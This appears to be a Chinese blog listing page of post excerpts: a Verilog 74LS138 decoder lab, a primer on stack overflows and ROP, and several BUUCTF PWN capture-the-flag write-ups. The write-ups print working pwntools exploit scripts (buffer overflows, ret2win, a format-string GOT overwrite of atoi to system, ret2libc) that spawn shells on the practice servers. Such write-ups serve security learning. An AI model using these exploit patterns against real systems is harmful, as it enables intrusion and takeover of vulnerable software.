译码器设计实验
译码器设计实验欲获得源码及工程文件,请访问:https://github.com/Chaos-xBug/decoder_74LS138
实验要求
使用行为描述来实现74LS138 3:8 译码器模块
仿真验证,确保译码器模块逻辑正确
配置FPGA管脚
板极验证
具体实验选择xc7a100tlcsg324-2L板卡型号
译码器模块123456789101112131415161718192021222324`timescale 1ns / 1psmodule decoder(G1, G2A, G2B, A, Y); input G1, G2A, G2B; input [2:0]A; output reg [7:0]Y; always @(G1, G2A, G2B, A) begin if({G1, G2A, G2B} == 3'b100) begin case(A) 3'b000: Y=8'b1111_1110 ...
BUUCTF-PWN-ciscn_2019_n_8
BUUCTF-PWN-ciscn_2019_n_8checksec
新手小白表示第一次碰到保护全开,有点震惊
IDA
看完IDA反向震惊,似乎只要var[13] == 17就好了
EXP123456789from pwn import *p = remote('node4.buuoj.cn', 26178)payload = b'aaaa' * 13 + p32(17)p.sendlineafter('\n', payload)p.interactive()
结果
BUUCTF-PWN-get_started_3dsctf_2016
BUUCTF-PWN-get_started_3dsctf_2016checksec
IDA
gets函数可以溢出
需要覆盖的长度为0x38
又发现函数get_flag
但是有if语句,得想办法绕过,那么就利用带参的地址
get_flag_addr
a1和a2
再找到exit函数,后面要用到
EXP1234567891011121314from pwn import *p = remote('node4.buuoj.cn', 27976)get_flag_addr = 0x080489a0exit_addr = 0x0804E6A0a1 = 0x308CD64Fa2 = 0x195719D1payload = b'a' * 0x38 + p32(get_flag_addr) + p32(exit_addr) + p32(a1) + p32(a2)p.sendline(payload)p.interactive()
结果
BUUCTF-PWN-jarvisoj_level2
BUUCTF-PWN-jarvisoj_level2checksec
IDA
read是一个溢出点
查看字符串,发现有binsh
找到binsh地址
再找到system在text段的地址
EXP12345678from pwn import *p = remote('node4.buuoj.cn', 29211)payload = b'a' * (0x88 + 0x4) + p32(0x804845C) + p32(0x804A024)p.sendlineafter('\n', payload)p.interactive()
结果
BUUCTF-PWN-[第五空间2019决赛]PWN5
BUUCTF-PWN-[第五空间2019决赛]PWN5checksec
IDA
有两个输入点,但都做了读取长度限制,无法溢出,那么我们选择利用格式化字符串漏洞
检查偏移
得到偏移为10
思路利用格式化字符串改写atoi的got地址,将其改为system的地址,然后再输入'/bin/sh\x00',得到shell
EXP1234567891011121314from pwn import *p = remote('node4.buuoj.cn', 28088)elf = ELF('./pwn')atoi = elf.got['atoi']system = elf.plt['system']payload = fmtstr_payload(10, {atoi: system}) # 又臭不要脸的用了fmtstr函数p.sendline(payload)p.sendline('/bin/sh\x00')p.interactive()
结果
BUUCTF-PWN-[OGeek2019]babyrop
BUUCTF-PWN-[OGeek2019]babyrop这题需要用到一些plt和got等的前置知识,可以参考:https://bbs.pediy.com/thread-262357.htm
checksec
IDA
sub_804871F函数的返回值就是下面sub_80487D0的参数(v5 --> a1)
而在sub_80487D0中第二个read函数是可能的溢出点,条件是a1 != 127并且a1大于buf的长度
之后利用题目给出的libc,使用ret2libc的方法拿到shell
EXP1234567891011121314151617181920212223242526272829303132333435from pwn import *p = remote('node4.buuoj.cn', 25034)elf = ELF('./pwn')libc = ELF('libc-2.23.so')write_plt = elf.plt['write']main_addr = 0x080488 ...
栈溢出与基本ROP
栈溢出与基本ROP栈溢出原理
由于C语言对数组引用不做任何边界检查从而导致缓冲区溢出(buffer overflow)成为一种很常见的漏洞。根据溢出发生的内存位置通常可以分为栈溢出和堆溢出°其中’由于栈上保存着局部变量和一些状态信息(寄存器值、返回地址等),一旦发生严重的溢出,攻击者就可以通过覆写返回地址来执行任意代码利用方法包括shellcode注入、ret2libc、ROP等。同时防守方也发展出多种利用缓解机制。
函数调用栈下面直接举例说明(分为x86和x86-64)
x86
首先被调用函数func()的8个参数从后问前依次入栈,当执行call指令时,下一条指令的地址0x08048415作为返回地址入栈。然后程序跳转到func(),在函数开头,将调用函数的ebp压栈保存并更新为当前的栈顶地址esp,作为新的栈基址,而esp则下移为局部变量开辟空间。函数返回时则相反,通过leave指令将esp恢复为当前的ebp,并从栈中将调用者的ebp弹出,最后ret指令弹出返回地址作为eip,程序回到main()函数中,最后抬高esp清理被调用者的参数,一次函数调用的过程就结束了。
x8 ...
BUUCTF-PWN-ciscn_2019_c_1
BUUCTF-PWN-ciscn_2019_c_1
做这题的时候碰到了很多奇怪的事,在后面会有体现,如有大佬看到,望予以解答
checksec
IDA
这个程序大致是用来加密解密一段字符串的,但是很明显可以看到2.Decrypt是没有用的,那么来看看1.Encrypt的内容:
看到了gets函数,可以用来溢出,除此以外好像没有别的可以利用的东西,那么就想到ret2libc
payload第一次溢出
'\0' #用来绕过if ( v0 >= strlen(s) ),(strlen() 在读取字符串的时候 会 一直读到 \0 处停止;)
b'a' * (0x50 + 0x8 - 1) #与前面的'\0'一起,覆盖s的栈并溢出
p64(rdi_ret)
p64(puts_got)
p64(puts_plt) # 利用puts函数的got表和plt表来泄露libc版本
p64(main_addr) # 返回主函数再进行下一次溢出
第二次溢出
'\0' #用来绕过if ( v0 >= strlen(s ...